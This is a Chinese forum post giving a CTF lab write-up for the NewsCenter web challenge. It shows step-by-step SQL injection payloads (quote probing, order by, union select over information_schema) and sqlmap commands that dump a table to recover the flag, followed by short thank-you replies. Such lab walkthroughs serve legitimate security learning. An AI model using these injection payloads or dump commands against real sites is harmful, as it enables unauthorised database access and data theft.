吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3315|回复: 27
收起左侧

[CTF] 学破解第190天,《攻防世界web练习区NewsCenter》学习

  [复制链接]
小菜鸟一枚 发表于 2022-4-9 13:41

前言:

  坛友们,年轻就是资本,和我一起逆天改命吧,我的学习过程全部记录及学习资源:https://www.52pojie.cn/thread-1582287-1-1.html

立帖为证!--------记录学习的点点滴滴

0x1 手动查找

  1.打开网页观察页面:

https://s1.ax1x.com/2022/04/09/LPluIU.png

  2.看到是一个搜索框,输入单引号,可以看到单引号报错,双引号正常显示,猜测存在注入点

https://s1.ax1x.com/2022/04/09/LP1eld.png

  3.在输入以下内容进行测试,发现页面正常,说明存在注入点:

   1' #
   1%27 %23
   //有时候#会认为锚点,导致注入失败,需要转义

|字符 |来自 Windows-1252    |来自 UTF-8   |
|space  |%20                |%20        |
|!      |%21                |%21        |
|"      |%22                |%22        |
|#      |%23                |%23        |
|$      |%24                |%24        |
|%      |%25                |%25        |
|&      |%26                |%26        |
|'      |%27                |%27        |
|(      |%28                |%28        |
|)      |%29                |%29        |
|*      |%2A                |%2A        |
|+      |%2B                |%2B        |
|,      |%2C                |%2C        |
|-      |%2D                |%2D        |
|.      |%2E                |%2E        |
|/      |%2F                |%2F        |

  4.判断列,通过order by判断表存在3列。

   1' order by 1#
   1' order by 2#
   1' order by 3#
   1' order by 4#  //报错

  5.输入-1让前半句失效,再执行后半句进行回显。

   -1' union select 1,2,3#

https://s1.ax1x.com/2022/04/09/LP31D1.png

  6.可以看到回显是在第2列和第3列,一会就得利用这两个地方获取我需要的信息,

   -1' union select 1,2,3#

  7.利用两个回显的地方,查询我们要的信息。

    -1' union select 1,database(),user()#  //查看当前数据库和用户名
    -1' union select 1,2,group_concat(schema_name) from information_schema.schemata#  //查看所有数据库

https://s1.ax1x.com/2022/04/09/LPtDtx.png

  8.查看news数据库下的所有表:

    -1'  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news'#

https://s1.ax1x.com/2022/04/09/LP073q.png

  9.再来查表中的所有列:

    -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='news'#
    -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#

输出:

id,title,content

输出:

id,fl4g

  10.查表中的所有行,成功得到flag:QCTF{sq1_inJec7ion_ezzz}

    -1' union select 1,2,group_concat(concat_ws('||',id,fl4g)) from news.secret_table#//concat_ws是用来以双竖线分割

https://s1.ax1x.com/2022/04/09/LPDUTe.png

0x2 自动查找

  1.打开kali系统,打开burp工具,设置浏览器代{过}{滤}理,打开拦截,搜索框输入123,回车成功拦截到数据包:

POST / HTTP/1.1
Host: 111.200.241.244:59722
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Origin: http://111.200.241.244:59722
DNT: 1
Connection: close
Referer: http://111.200.241.244:59722/
Upgrade-Insecure-Requests: 1

search=123

  2.直接右键,copy to file,保存一下,命名为bom。

https://s1.ax1x.com/2022/04/09/LPsFK0.png

  3.再来到终端使用sqlmap工具,输入sqlmap -r bom --dbs --batch,读本地文件爆破数据库名:

Parameter: search (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: search=123' UNION ALL SELECT NULL,NULL,CONCAT(CONCAT('qxpzq','JhGHiWBoDycinhxQpRZJZyItevTMJhbAKwrLyCUb'),'qzvbq')-- ztDs
---
[01:24:20] [INFO] testing MySQL
[01:24:21] [INFO] confirming MySQL
[01:24:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.0
[01:24:29] [INFO] fetching database names
available databases [2]:
  • information_schema
  • news
  •   4.输入sqlmap -r bom -D news --tables --batch,爆news数据库对应的所有表:

    Database: news
    [2 tables]
    +--------------+
    | news         |
    | secret_table |
    +--------------+

      5.输入sqlmap -r bom -T secret_table --columns --batch 爆secret_table表的所有字段(列)

    Database: news
    Table: secret_table
    [2 columns]
    +--------+------------------+
    | Column | Type             |
    +--------+------------------+
    | fl4g   | varchar(50)      |
    | id     | int(10) unsigned |
    +--------+------------------+

      6.输入sqlmap -r bom -T secret_table --dump --batch, 爆secret_table表的所有数据(行)

    Database: news
    Table: secret_table
    [1 entry]
    +----+--------------------------+
    | id | fl4g                     |
    +----+--------------------------+
    | 1  | QCTF{sq1_inJec7ion_ezzz} |
    +----+--------------------------+

      7.可以看到成功得到flag:QCTF{sq1_inJec7ion_ezzz}。

    0x3 总结

      1.比较简单的sql注入题目,适合菜鸟练手。

    免费评分

    参与人数 6吾爱币 +11 热心值 +5 收起 理由
    Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
    zhaoxiao123 + 1 + 1 用心讨论,共获提升!
    shiyucj + 1 + 1 我很赞同!
    CityWithoutPity + 1 + 1 我很赞同!
    vipgoat + 1 混52好多年了。逆向没学会!现在倒是个web狗了
    lgc81034 + 1 谢谢@Thanks!

    查看全部评分

    发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

    cpwinner 发表于 2022-4-9 14:13
       感谢分享
    OAOm 发表于 2022-4-9 14:49
    极客资源 发表于 2022-4-9 14:58
    sandon 发表于 2022-4-9 16:04
    感谢大佬分享!
    hymnmx 发表于 2022-4-9 18:54
    感谢分享
    tony1990 发表于 2022-4-9 20:56
    学习在于坚持,学习了。
    ycmingtian 发表于 2022-4-9 21:20
    谢谢分享!!
    MattSeeker 发表于 2022-4-9 21:46
    这也太强了吧!!!!!!!!!!
    a7226845a 发表于 2022-4-9 21:54
    感谢分享 支持学习
    您需要登录后才可以回帖 登录 | 注册[Register]

    本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

    快速回复 收藏帖子 返回列表 搜索

    RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

    GMT+8, 2024-5-16 13:46

    Powered by Discuz!

    Copyright © 2001-2020, Tencent Cloud.

    快速回复 返回顶部 返回列表